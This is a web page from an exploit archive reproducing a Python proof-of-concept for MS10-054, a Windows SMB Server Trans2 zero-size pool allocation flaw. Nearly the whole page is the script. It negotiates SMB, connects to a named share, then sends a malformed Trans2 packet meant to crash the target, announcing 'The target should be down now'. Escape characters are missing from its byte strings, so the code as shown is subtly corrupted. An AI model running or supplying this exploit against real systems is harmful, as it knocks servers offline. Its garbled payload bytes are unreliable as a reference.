Home / os / win7

Microsoft SMB Server Trans2 Zero Size Pool Alloc (MS10-054)

Posted on 10 August 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>Microsoft SMB Server Trans2 Zero Size Pool Alloc (MS10-054)</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>===========================================================
Microsoft SMB Server Trans2 Zero Size Pool Alloc (MS10-054)
===========================================================

#!/usr/bin/env python
import sys,struct,socket
from socket import *
 
if len(sys.argv)&lt;=2:
   print '#######################################################################'
   print '#   MS10-054 Proof Of Concept by Laurent Gaffie'
   print '#   Usage: python '+sys.argv[0]+' TARGET SHARE-NAME (No backslash)'
   print '#   Example: python '+sys.argv[0]+' 192.168.8.101 users'
   print '#   http://g-laurent.blogspot.com/'
   print '#   http://twitter.com/laurentgaffie'
   print '#   Email: laurent.gaffie{at}gmail{dot}com'
   print '#######################################################################

'
   sys.exit()
 
host = str(sys.argv[1]),445
 
packetnego =  &quot;x00x00x00x9a&quot;
packetnego += &quot;xffx53x4dx42x72x00x00x00x00x00x00x00x00x00x00x00&quot;
packetnego += &quot;x00x00x00x00x00x00x00x00x00x00xc3x15x00x00x01x3d&quot;
packetnego += &quot;x00x77x00x02x50x43x20x4ex45x54x57x4fx52x4bx20x50&quot;
packetnego += &quot;x52x4fx47x52x41x4dx20x31x2ex30x00x02x4dx49x43x52&quot;
packetnego += &quot;x4fx53x4fx46x54x20x4ex45x54x57x4fx52x4bx53x20x33&quot;
packetnego += &quot;x2ex30x00x02x44x4fx53x20x4cx4dx31x2ex32x58x30x30&quot;
packetnego += &quot;x32x00x02x44x4fx53x20x4cx41x4ex4dx41x4ex32x2ex31&quot;
packetnego += &quot;x00x02x57x69x6ex64x6fx77x73x20x66x6fx72x20x57x6f&quot;
packetnego += &quot;x72x6bx67x72x6fx75x70x73x20x33x2ex31x61x00x02x4e&quot;
packetnego += &quot;x54x20x4cx4dx20x30x2ex31x32x00&quot;
 
def tidpiduidfield(data):
    all_=data[28:34]
    return all_
 
def handle(data):
    ##Chained SMB commands; Session Setup AndX Request,Tree connect
    if data[8:10] == &quot;x72x00&quot;:
       sharename = &quot;x00x00x5cx5cx5c&quot;+str(sys.argv[2])+&quot;x00x3fx3fx3fx3fx3fx00&quot;
       packetsession =  &quot;xffx53x4dx42x73x00x00x00x00x10x00x00x00x00x00x00&quot;
       packetsession += &quot;x00x00x00x00x00x00x00x00x00x00xd5x15x01x00x81x2f&quot;
       packetsession += &quot;x0dx75x00x7ax00x68x0bx32x00x00x00x00x00x00x00x18&quot;
       packetsession += &quot;x00x00x00x00x00x00x00x04x00x00x00x3dx00x01x01x01&quot;
       packetsession += &quot;x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01&quot;
       packetsession += &quot;x01x01x01x01x01x59x4fx00x57x4fx52x4bx47x52x4fx55&quot;
       packetsession += &quot;x50x00x57x69x6ex64x6fx77x73x20x34x2ex30x00x57x69&quot;
       packetsession += &quot;x6ex64x6fx77x73x20x34x2ex30x00x04xffx00x00x00x00&quot;
       packetsession += &quot;x00x01x00&quot;+struct.pack(&quot;&gt;i&quot;, len(sharename))[3:4]+sharename
       print &quot;[+]Session Query sent&quot;   
       return struct.pack(&quot;&gt;i&quot;, len(packetsession))+packetsession
 
    ##Trans2, Request, QUERY_FS_INFO Query FS Attribute Info
    if data[8:10] == &quot;x73x00&quot;:
       packetrans = &quot;x00x00x00x46&quot;
       packetrans += &quot;xffx53x4dx42x32x00x00x00x00x00x01xc8x00x00x00x00&quot;
       packetrans += &quot;x00x00x00x00x00x00x00x00&quot;+tidpiduidfield(data)+&quot;x13x00&quot;
       packetrans += &quot;x0fx02x00x00x00x00x00x00x00x00x00x00x00x00x00x00&quot;
       packetrans += &quot;x00x00x00x02x00x44x00x00x00x46x00x01x00x03x00x05&quot;
       packetrans += &quot;x00x00x44x20x05x01&quot;
       print &quot;[+]Malformed Trans2 packet sent
[+]The target should be down now&quot;
       return packetrans
 
def run():
    s = socket(AF_INET, SOCK_STREAM)
    s.connect(host)
    s.settimeout(2)
    s.send(packetnego)
    print &quot;[+]Negotiate Protocol Request sent&quot;
    try:
      while True:
        data = s.recv(1024)
        s.send(handle(data))
    except Exception:
        pass
        s.close()
run()


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-08-10]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP

Malware :

Exploits :